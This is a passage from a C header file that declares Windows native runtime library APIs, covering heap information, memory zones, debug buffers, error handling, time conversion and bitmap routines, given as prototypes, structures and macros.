0x3 // q; s: HEAP_OPTIMIZE_RESOURCES_INFORMATION \n#define HeapTaggingInformation 0x4\n#define HeapStackDatabase 0x5\n#define HeapMemoryLimit 0x6 // 19H2\n#define HeapDetailedFailureInformation 0x80000001\n#define HeapSetDebuggingInformation 0x80000002 // q; s: HEAP_DEBUGGING_INFORMATION\n\ntypedef enum _HEAP_COMPATIBILITY_MODE\n{\n HEAP_COMPATIBILITY_STANDARD = 0UL,\n HEAP_COMPATIBILITY_LAL = 1UL,\n HEAP_COMPATIBILITY_LFH = 2UL,\n} HEAP_COMPATIBILITY_MODE;\n\ntypedef struct _PROCESS_HEAP_INFORMATION\n{\n ULONG_PTR ReserveSize;\n ULONG_PTR CommitSize;\n ULONG NumberOfHeaps;\n ULONG_PTR FirstHeapInformationOffset;\n} PROCESS_HEAP_INFORMATION, *PPROCESS_HEAP_INFORMATION;\n\ntypedef struct _HEAP_INFORMATION\n{\n ULONG_PTR Address;\n ULONG Mode;\n ULONG_PTR ReserveSize;\n ULONG_PTR CommitSize;\n ULONG_PTR FirstRegionInformationOffset;\n ULONG_PTR NextHeapInformationOffset;\n} HEAP_INFORMATION, *PHEAP_INFORMATION;\n\ntypedef struct _HEAP_EXTENDED_INFORMATION\n{\n HANDLE Process;\n ULONG_PTR Heap;\n ULONG Level;\n PVOID CallbackRoutine;\n PVOID CallbackContext;\n union\n {\n PROCESS_HEAP_INFORMATION ProcessHeapInformation;\n HEAP_INFORMATION HeapInformation;\n };\n} HEAP_EXTENDED_INFORMATION, *PHEAP_EXTENDED_INFORMATION;\n\n// rev\ntypedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)(\n _In_ LONG Reserved,\n _In_ PVOID HeapHandle,\n _In_ PVOID BaseAddress,\n _In_ SIZE_T BlockSize,\n _In_ ULONG StackTraceDepth,\n _In_ PVOID *StackTrace\n );\n\n// symbols\ntypedef struct _HEAP_DEBUGGING_INFORMATION\n{\n PVOID InterceptorFunction;\n USHORT InterceptorValue;\n ULONG ExtendedOptions;\n ULONG StackTraceDepth;\n SIZE_T MinTotalBlockSize;\n SIZE_T MaxTotalBlockSize;\n PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine;\n} HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryHeapInformation(\n _In_ PVOID HeapHandle,\n _In_ HEAP_INFORMATION_CLASS HeapInformationClass,\n _Out_opt_ PVOID HeapInformation,\n _In_opt_ SIZE_T HeapInformationLength,\n _Out_opt_ PSIZE_T ReturnLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetHeapInformation(\n _In_ PVOID HeapHandle,\n _In_ HEAP_INFORMATION_CLASS HeapInformationClass,\n _In_opt_ PVOID HeapInformation,\n _In_opt_ SIZE_T HeapInformationLength\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlMultipleAllocateHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_ SIZE_T Size,\n _In_ ULONG Count,\n _Out_ PVOID *Array\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlMultipleFreeHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_ ULONG Count,\n _In_ PVOID *Array\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSAPI\nVOID\nNTAPI\nRtlDetectHeapLeaks(\n VOID\n );\n#endif\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFlushHeaps(\n VOID\n );\n\n// Memory zones\n\n// begin_private\n\ntypedef struct _RTL_MEMORY_ZONE_SEGMENT\n{\n struct _RTL_MEMORY_ZONE_SEGMENT *NextSegment;\n SIZE_T Size;\n PVOID Next;\n PVOID Limit;\n} RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT;\n\ntypedef struct _RTL_MEMORY_ZONE\n{\n RTL_MEMORY_ZONE_SEGMENT Segment;\n RTL_SRWLOCK Lock;\n ULONG LockCount;\n PRTL_MEMORY_ZONE_SEGMENT FirstSegment;\n} RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE;\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateMemoryZone(\n _Out_ PVOID *MemoryZone,\n _In_ SIZE_T InitialSize,\n _Reserved_ ULONG Flags\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyMemoryZone(\n _In_ _Post_invalid_ PVOID MemoryZone\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAllocateMemoryZone(\n _In_ PVOID MemoryZone,\n _In_ SIZE_T BlockSize,\n _Out_ PVOID *Block\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlResetMemoryZone(\n _In_ PVOID MemoryZone\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLockMemoryZone(\n _In_ PVOID MemoryZone\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnlockMemoryZone(\n _In_ PVOID MemoryZone\n );\n\n#endif\n\n// end_private\n\n// Memory block lookaside lists\n\n// begin_private\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateMemoryBlockLookaside(\n _Out_ PVOID *MemoryBlockLookaside,\n _Reserved_ ULONG Flags,\n _In_ ULONG InitialSize,\n _In_ ULONG MinimumBlockSize,\n _In_ ULONG MaximumBlockSize\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyMemoryBlockLookaside(\n _In_ PVOID MemoryBlockLookaside\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAllocateMemoryBlockLookaside(\n _In_ PVOID MemoryBlockLookaside,\n _In_ ULONG BlockSize,\n _Out_ PVOID *Block\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFreeMemoryBlockLookaside(\n _In_ PVOID MemoryBlockLookaside,\n _In_ PVOID Block\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlExtendMemoryBlockLookaside(\n _In_ PVOID MemoryBlockLookaside,\n _In_ ULONG Increment\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlResetMemoryBlockLookaside(\n _In_ PVOID MemoryBlockLookaside\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLockMemoryBlockLookaside(\n _In_ PVOID MemoryBlockLookaside\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnlockMemoryBlockLookaside(\n _In_ PVOID MemoryBlockLookaside\n );\n\n#endif\n\n// end_private\n\n// Transactions\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nHANDLE\nNTAPI\nRtlGetCurrentTransaction(\n VOID\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nLOGICAL\nNTAPI\nRtlSetCurrentTransaction(\n _In_ HANDLE TransactionHandle\n );\n#endif\n\n// LUIDs\n\nFORCEINLINE BOOLEAN RtlIsEqualLuid( // RtlEqualLuid\n _In_ PLUID L1,\n _In_ PLUID L2\n )\n{\n return L1->LowPart == L2->LowPart &&\n L1->HighPart == L2->HighPart;\n}\n\nFORCEINLINE BOOLEAN RtlIsZeroLuid(\n _In_ PLUID L1\n )\n{\n return (L1->LowPart | L1->HighPart) == 0;\n}\n\nFORCEINLINE LUID RtlConvertLongToLuid(\n _In_ LONG Long\n )\n{\n LUID tempLuid;\n LARGE_INTEGER tempLi;\n\n tempLi.QuadPart = Long;\n tempLuid.LowPart = tempLi.LowPart;\n tempLuid.HighPart = tempLi.HighPart;\n\n return tempLuid;\n}\n\nFORCEINLINE LUID RtlConvertUlongToLuid(\n _In_ ULONG Ulong\n )\n{\n LUID tempLuid;\n\n tempLuid.LowPart = Ulong;\n tempLuid.HighPart = 0;\n\n return tempLuid;\n}\n\nNTSYSAPI\nVOID\nNTAPI\nRtlCopyLuid(\n _Out_ PLUID DestinationLuid,\n _In_ PLUID SourceLuid\n );\n\n// ros\nNTSYSAPI\nVOID\nNTAPI\nRtlCopyLuidAndAttributesArray(\n _In_ ULONG Count,\n _In_ PLUID_AND_ATTRIBUTES Src,\n _In_ PLUID_AND_ATTRIBUTES Dest\n );\n\n// Byte swap routines.\n\n#ifndef PHNT_RTL_BYTESWAP\n#define RtlUshortByteSwap(_x) _byteswap_ushort((USHORT)(_x))\n#define RtlUlongByteSwap(_x) _byteswap_ulong((_x))\n#define RtlUlonglongByteSwap(_x) _byteswap_uint64((_x))\n#else\nNTSYSAPI\nUSHORT\nFASTCALL\nRtlUshortByteSwap(\n _In_ USHORT Source\n );\n\nNTSYSAPI\nULONG\nFASTCALL\nRtlUlongByteSwap(\n _In_ ULONG Source\n );\n\nNTSYSAPI\nULONGLONG\nFASTCALL\nRtlUlonglongByteSwap(\n _In_ ULONGLONG Source\n );\n#endif\n\n// Debugging\n\n// private\ntypedef struct _RTL_PROCESS_VERIFIER_OPTIONS\n{\n ULONG SizeStruct;\n ULONG Option;\n UCHAR OptionData[1];\n} RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS;\n\n// private\ntypedef struct _RTL_DEBUG_INFORMATION\n{\n HANDLE SectionHandleClient;\n PVOID ViewBaseClient;\n PVOID ViewBaseTarget;\n ULONG_PTR ViewBaseDelta;\n HANDLE EventPairClient;\n HANDLE EventPairTarget;\n HANDLE TargetProcessId;\n HANDLE TargetThreadHandle;\n ULONG Flags;\n SIZE_T OffsetFree;\n SIZE_T CommitSize;\n SIZE_T ViewSize;\n union\n {\n struct _RTL_PROCESS_MODULES *Modules;\n struct _RTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx;\n };\n struct _RTL_PROCESS_BACKTRACES *BackTraces;\n struct _RTL_PROCESS_HEAPS *Heaps;\n struct _RTL_PROCESS_LOCKS *Locks;\n PVOID SpecificHeap;\n HANDLE TargetProcessHandle;\n PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions;\n PVOID ProcessHeap;\n HANDLE CriticalSectionHandle;\n HANDLE CriticalSectionOwnerThread;\n PVOID Reserved[4];\n} RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION;\n\nNTSYSAPI\nPRTL_DEBUG_INFORMATION\nNTAPI\nRtlCreateQueryDebugBuffer(\n _In_opt_ ULONG MaximumCommit,\n _In_ BOOLEAN UseEventPair\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyQueryDebugBuffer(\n _In_ PRTL_DEBUG_INFORMATION Buffer\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nPVOID\nNTAPI\nRtlCommitDebugInfo(\n _Inout_ PRTL_DEBUG_INFORMATION Buffer,\n _In_ SIZE_T Size\n );\n\n// private\nNTSYSAPI\nVOID\nNTAPI\nRtlDeCommitDebugInfo(\n _Inout_ PRTL_DEBUG_INFORMATION Buffer,\n _In_ PVOID p,\n _In_ SIZE_T Size\n );\n\n#endif\n\n#define RTL_QUERY_PROCESS_MODULES 0x00000001\n#define RTL_QUERY_PROCESS_BACKTRACES 0x00000002\n#define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004\n#define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008\n#define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010\n#define RTL_QUERY_PROCESS_LOCKS 0x00000020\n#define RTL_QUERY_PROCESS_MODULES32 0x00000040\n#define RTL_QUERY_PROCESS_VERIFIER_OPTIONS 0x00000080 // rev\n#define RTL_QUERY_PROCESS_MODULESEX 0x00000100 // rev\n#define RTL_QUERY_PROCESS_HEAP_ENTRIES_EX 0x00000200 // ?\n#define RTL_QUERY_PROCESS_CS_OWNER 0x00000400 // rev\n#define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryProcessDebugInformation(\n _In_ HANDLE UniqueProcessId,\n _In_ ULONG Flags,\n _Inout_ PRTL_DEBUG_INFORMATION Buffer\n );\n\n// Messages\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFindMessage(\n _In_ PVOID DllHandle,\n _In_ ULONG MessageTableId,\n _In_ ULONG MessageLanguageId,\n _In_ ULONG MessageId,\n _Out_ PMESSAGE_RESOURCE_ENTRY *MessageEntry\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFormatMessage(\n _In_ PWSTR MessageFormat,\n _In_ ULONG MaximumWidth,\n _In_ BOOLEAN IgnoreInserts,\n _In_ BOOLEAN ArgumentsAreAnsi,\n _In_ BOOLEAN ArgumentsAreAnArray,\n _In_ va_list *Arguments,\n _Out_writes_bytes_to_(Length, *ReturnLength) PWSTR Buffer,\n _In_ ULONG Length,\n _Out_opt_ PULONG ReturnLength\n );\n\ntypedef struct _PARSE_MESSAGE_CONTEXT\n{\n ULONG fFlags;\n ULONG cwSavColumn;\n SIZE_T iwSrc;\n SIZE_T iwDst;\n SIZE_T iwDstSpace;\n va_list lpvArgStart;\n} PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT;\n\n#define INIT_PARSE_MESSAGE_CONTEXT(ctx) { (ctx)->fFlags = 0; }\n#define TEST_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags & (flag))\n#define SET_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags |= (flag))\n#define CLEAR_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags &= ~(flag))\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFormatMessageEx(\n _In_ PWSTR MessageFormat,\n _In_ ULONG MaximumWidth,\n _In_ BOOLEAN IgnoreInserts,\n _In_ BOOLEAN ArgumentsAreAnsi,\n _In_ BOOLEAN ArgumentsAreAnArray,\n _In_ va_list *Arguments,\n _Out_writes_bytes_to_(Length, *ReturnLength) PWSTR Buffer,\n _In_ ULONG Length,\n _Out_opt_ PULONG ReturnLength,\n _Out_opt_ PPARSE_MESSAGE_CONTEXT ParseContext\n );\n\n// Errors\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNtStatusToDosError(\n _In_ NTSTATUS Status\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNtStatusToDosErrorNoTeb(\n _In_ NTSTATUS Status\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetLastNtStatus(\n VOID\n );\n\nNTSYSAPI\nLONG\nNTAPI\nRtlGetLastWin32Error(\n VOID\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetLastWin32ErrorAndNtStatusFromNtStatus(\n _In_ NTSTATUS Status\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetLastWin32Error(\n _In_ LONG Win32Error\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlRestoreLastWin32Error(\n _In_ LONG Win32Error\n );\n\n#define RTL_ERRORMODE_FAILCRITICALERRORS 0x0010\n#define RTL_ERRORMODE_NOGPFAULTERRORBOX 0x0020\n#define RTL_ERRORMODE_NOOPENFILEERRORBOX 0x0040\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetThreadErrorMode(\n VOID\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetThreadErrorMode(\n _In_ ULONG NewMode,\n _Out_opt_ PULONG OldMode\n );\n\n// Windows Error Reporting\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlReportException(\n _In_ PEXCEPTION_RECORD ExceptionRecord,\n _In_ PCONTEXT ContextRecord,\n _In_ ULONG Flags\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlReportExceptionEx(\n _In_ PEXCEPTION_RECORD ExceptionRecord,\n _In_ PCONTEXT ContextRecord,\n _In_ ULONG Flags,\n _In_ PLARGE_INTEGER Timeout\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlWerpReportException(\n _In_ ULONG ProcessId,\n _In_ HANDLE CrashReportSharedMem,\n _In_ ULONG Flags,\n _Out_ PHANDLE CrashVerticalProcessHandle\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlReportSilentProcessExit(\n _In_ HANDLE ProcessHandle,\n _In_ NTSTATUS ExitStatus\n );\n#endif\n\n// Vectored Exception Handlers\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlAddVectoredExceptionHandler(\n _In_ ULONG First,\n _In_ PVECTORED_EXCEPTION_HANDLER Handler\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlRemoveVectoredExceptionHandler(\n _In_ PVOID Handle\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlAddVectoredContinueHandler(\n _In_ ULONG First,\n _In_ PVECTORED_EXCEPTION_HANDLER Handler\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlRemoveVectoredContinueHandler(\n _In_ PVOID Handle\n );\n\n// Random\n\nNTSYSAPI\nULONG\nNTAPI\nRtlUniform(\n _Inout_ PULONG Seed\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlRandom(\n _Inout_ PULONG Seed\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlRandomEx(\n _Inout_ PULONG Seed\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlComputeImportTableHash(\n _In_ HANDLE FileHandle,\n _Out_writes_bytes_(16) PCHAR Hash,\n _In_ ULONG ImportTableHashRevision // must be 1\n );\n\n// Integer conversion\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIntegerToChar(\n _In_ ULONG Value,\n _In_opt_ ULONG Base,\n _In_ LONG OutputLength, // negative to pad to width\n _Out_ PSTR String\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCharToInteger(\n _In_ PCSTR String,\n _In_opt_ ULONG Base,\n _Out_ PULONG Value\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLargeIntegerToChar(\n _In_ PLARGE_INTEGER Value,\n _In_opt_ ULONG Base,\n _In_ LONG OutputLength,\n _Out_ PSTR String\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIntegerToUnicodeString(\n _In_ ULONG Value,\n _In_opt_ ULONG Base,\n _Inout_ PUNICODE_STRING String\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInt64ToUnicodeString(\n _In_ ULONGLONG Value,\n _In_opt_ ULONG Base,\n _Inout_ PUNICODE_STRING String\n );\n\n#ifdef _WIN64\n#define RtlIntPtrToUnicodeString(Value, Base, String) RtlInt64ToUnicodeString(Value, Base, String)\n#else\n#define RtlIntPtrToUnicodeString(Value, Base, String) RtlIntegerToUnicodeString(Value, Base, String)\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToInteger(\n _In_ PUNICODE_STRING String,\n _In_opt_ ULONG Base,\n _Out_ PULONG Value\n );\n\n// IPv4/6 conversion\n\nstruct in_addr;\nstruct in6_addr;\n\nNTSYSAPI\nPWSTR\nNTAPI\nRtlIpv4AddressToStringW(\n _In_ const struct in_addr *Address,\n _Out_writes_(16) PWSTR AddressString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIpv4AddressToStringExW(\n _In_ const struct in_addr *Address,\n _In_ USHORT Port,\n _Out_writes_to_(*AddressStringLength, *AddressStringLength) PWSTR AddressString,\n _Inout_ PULONG AddressStringLength\n );\n\nNTSYSAPI\nPWSTR\nNTAPI\nRtlIpv6AddressToStringW(\n _In_ const struct in6_addr *Address,\n _Out_writes_(46) PWSTR AddressString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIpv6AddressToStringExW(\n _In_ const struct in6_addr *Address,\n _In_ ULONG ScopeId,\n _In_ USHORT Port,\n _Out_writes_to_(*AddressStringLength, *AddressStringLength) PWSTR AddressString,\n _Inout_ PULONG AddressStringLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIpv4StringToAddressW(\n _In_ PCWSTR AddressString,\n _In_ BOOLEAN Strict,\n _Out_ LPCWSTR *Terminator,\n _Out_ struct in_addr *Address\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIpv4StringToAddressExW(\n _In_ PCWSTR AddressString,\n _In_ BOOLEAN Strict,\n _Out_ struct in_addr *Address,\n _Out_ PUSHORT Port\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIpv6StringToAddressW(\n _In_ PCWSTR AddressString,\n _Out_ PCWSTR *Terminator,\n _Out_ struct in6_addr *Address\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIpv6StringToAddressExW(\n _In_ PCWSTR AddressString,\n _Out_ struct in6_addr *Address,\n _Out_ PULONG ScopeId,\n _Out_ PUSHORT Port\n );\n\n#define RtlIpv4AddressToString RtlIpv4AddressToStringW\n#define RtlIpv4AddressToStringEx RtlIpv4AddressToStringExW\n#define RtlIpv6AddressToString RtlIpv6AddressToStringW\n#define RtlIpv6AddressToStringEx RtlIpv6AddressToStringExW\n#define RtlIpv4StringToAddress RtlIpv4StringToAddressW\n#define RtlIpv4StringToAddressEx RtlIpv4StringToAddressExW\n#define RtlIpv6StringToAddress RtlIpv6StringToAddressW\n#define RtlIpv6StringToAddressEx RtlIpv6StringToAddressExW\n\n// Time\n\ntypedef struct _TIME_FIELDS\n{\n CSHORT Year; // 1601...\n CSHORT Month; // 1..12\n CSHORT Day; // 1..31\n CSHORT Hour; // 0..23\n CSHORT Minute; // 0..59\n CSHORT Second; // 0..59\n CSHORT Milliseconds; // 0..999\n CSHORT Weekday; // 0..6 = Sunday..Saturday\n} TIME_FIELDS, *PTIME_FIELDS;\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCutoverTimeToSystemTime(\n _In_ PTIME_FIELDS CutoverTime,\n _Out_ PLARGE_INTEGER SystemTime,\n _In_ PLARGE_INTEGER CurrentSystemTime,\n _In_ BOOLEAN ThisYear\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSystemTimeToLocalTime(\n _In_ PLARGE_INTEGER SystemTime,\n _Out_ PLARGE_INTEGER LocalTime\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLocalTimeToSystemTime(\n _In_ PLARGE_INTEGER LocalTime,\n _Out_ PLARGE_INTEGER SystemTime\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlTimeToElapsedTimeFields(\n _In_ PLARGE_INTEGER Time,\n _Out_ PTIME_FIELDS TimeFields\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlTimeToTimeFields(\n _In_ PLARGE_INTEGER Time,\n _Out_ PTIME_FIELDS TimeFields\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlTimeFieldsToTime(\n _In_ PTIME_FIELDS TimeFields, // Weekday is ignored\n _Out_ PLARGE_INTEGER Time\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlTimeToSecondsSince1980(\n _In_ PLARGE_INTEGER Time,\n _Out_ PULONG ElapsedSeconds\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSecondsSince1980ToTime(\n _In_ ULONG ElapsedSeconds,\n _Out_ PLARGE_INTEGER Time\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlTimeToSecondsSince1970(\n _In_ PLARGE_INTEGER Time,\n _Out_ PULONG ElapsedSeconds\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSecondsSince1970ToTime(\n _In_ ULONG ElapsedSeconds,\n _Out_ PLARGE_INTEGER Time\n );\n\n// Time zones\n\ntypedef struct _RTL_TIME_ZONE_INFORMATION\n{\n LONG Bias;\n WCHAR StandardName[32];\n TIME_FIELDS StandardStart;\n LONG StandardBias;\n WCHAR DaylightName[32];\n TIME_FIELDS DaylightStart;\n LONG DaylightBias;\n} RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryTimeZoneInformation(\n _Out_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetTimeZoneInformation(\n _In_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation\n );\n\n// Bitmaps\n\ntypedef struct _RTL_BITMAP\n{\n ULONG SizeOfBitMap;\n PULONG Buffer;\n} RTL_BITMAP, *PRTL_BITMAP;\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeBitMap(\n _Out_ PRTL_BITMAP BitMapHeader,\n _In_ PULONG BitMapBuffer,\n _In_ ULONG SizeOfBitMap\n );\n\n#if (PHNT_MODE == PHNT_MODE_KERNEL || PHNT_VERSION >= PHNT_WIN8)\nNTSYSAPI\nVOID\nNTAPI\nRtlClearBit(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG BitNumber\n );\n#endif\n\n#if (PHNT_MODE == PHNT_MODE_KERNEL || PHNT_VERSION >= PHNT_WIN8)\nNTSYSAPI\nVOID\nNTAPI\nRtlSetBit(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG BitNumber\n );\n#endif\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlTestBit(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG BitNumber\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlClearAllBits(\n _In_ PRTL_BITMAP BitMapHeader\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetAllBits(\n _In_ PRTL_BITMAP BitMapHeader\n );\n\n_Success_(return != -1)\n_Check_return_\nNTSYSAPI\nULONG\nNTAPI\nRtlFindClearBits(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG NumberToFind,\n _In_ ULONG HintIndex\n );\n\n_Success_(return != -1)\n_Check_return_\nNTSYSAPI\nULONG\nNTAPI\nRtlFindSetBits(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG NumberToFind,\n _In_ ULONG HintIndex\n );\n\n_Success_(return != -1)\nNTSYSAPI\nULONG\nNTAPI\nRtlFindClearBitsAndSet(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG NumberToFind,\n _In_ ULONG HintIndex\n );\n\n_Success_(return != -1)\nNTSYSAPI\nULONG\nNTAPI\nRtlFindSetBitsAndClear(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG NumberToFind,\n _In_ ULONG HintIndex\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlClearBits(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToClear) ULONG StartingIndex,\n _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToClear\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetBits(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToSet) ULONG StartingIndex,\n _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToSet\n );\n\nNTSYSAPI\nCCHAR\nNTAPI\nRtlFindMostSignificantBit(\n _In_ ULONGLONG Set\n );\n\nNTSYSAPI\nCCHAR\nNTAPI\nRtlFindLeastSignificantBit(\n _In_ ULONGLONG Set\n );\n\ntypedef struct _RTL_BITMAP_RUN\n{\n ULONG StartingIndex;\n ULONG NumberOfBits;\n} RTL_BITMAP_RUN, *PRTL_BITMAP_RUN;\n\nNTSYSAPI\nULONG\nNTAPI\nRtlFindClearRuns(\n _In_ PRTL_BITMAP BitMapHeader,\n _Out_writes_to_(SizeOfRunArray, return) PRTL_BITMAP_RUN RunArray,\n _In_range_(>, 0) ULONG SizeOfRunArray,\n _In_ BOOLEAN LocateLongestRuns\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlFindLongestRunClear(\n _In_ PRTL_BITMAP BitMapHeader,\n _Out_ PULONG StartingIndex\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlFindFirstRunClear(\n _In_ PRTL_BITMAP BitMapHeader,\n _Out_ PULONG StartingIndex\n );\n\n_Check_return_\nFORCEINLINE\nBOOLEAN\nRtlCheckBit(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG BitPosition\n )\n{\n#ifdef _WIN64\n return BitTest64((LONG64 const *)BitMapHeader->Buffer, (LONG64)BitPosition);\n#else\n return (((PLONG)BitMapHeader->Buffer)[BitPosition / 32] >> (BitPosition % 32)) & 0x1;\n#endif\n}\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNumberOfClearBits(\n _In_ PRTL_BITMAP BitMapHeader\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNumberOfSetBits(\n _In_ PRTL_BITMAP BitMapHeader\n );\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlAreBitsClear(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG StartingIndex,\n _In_ ULONG Length\n 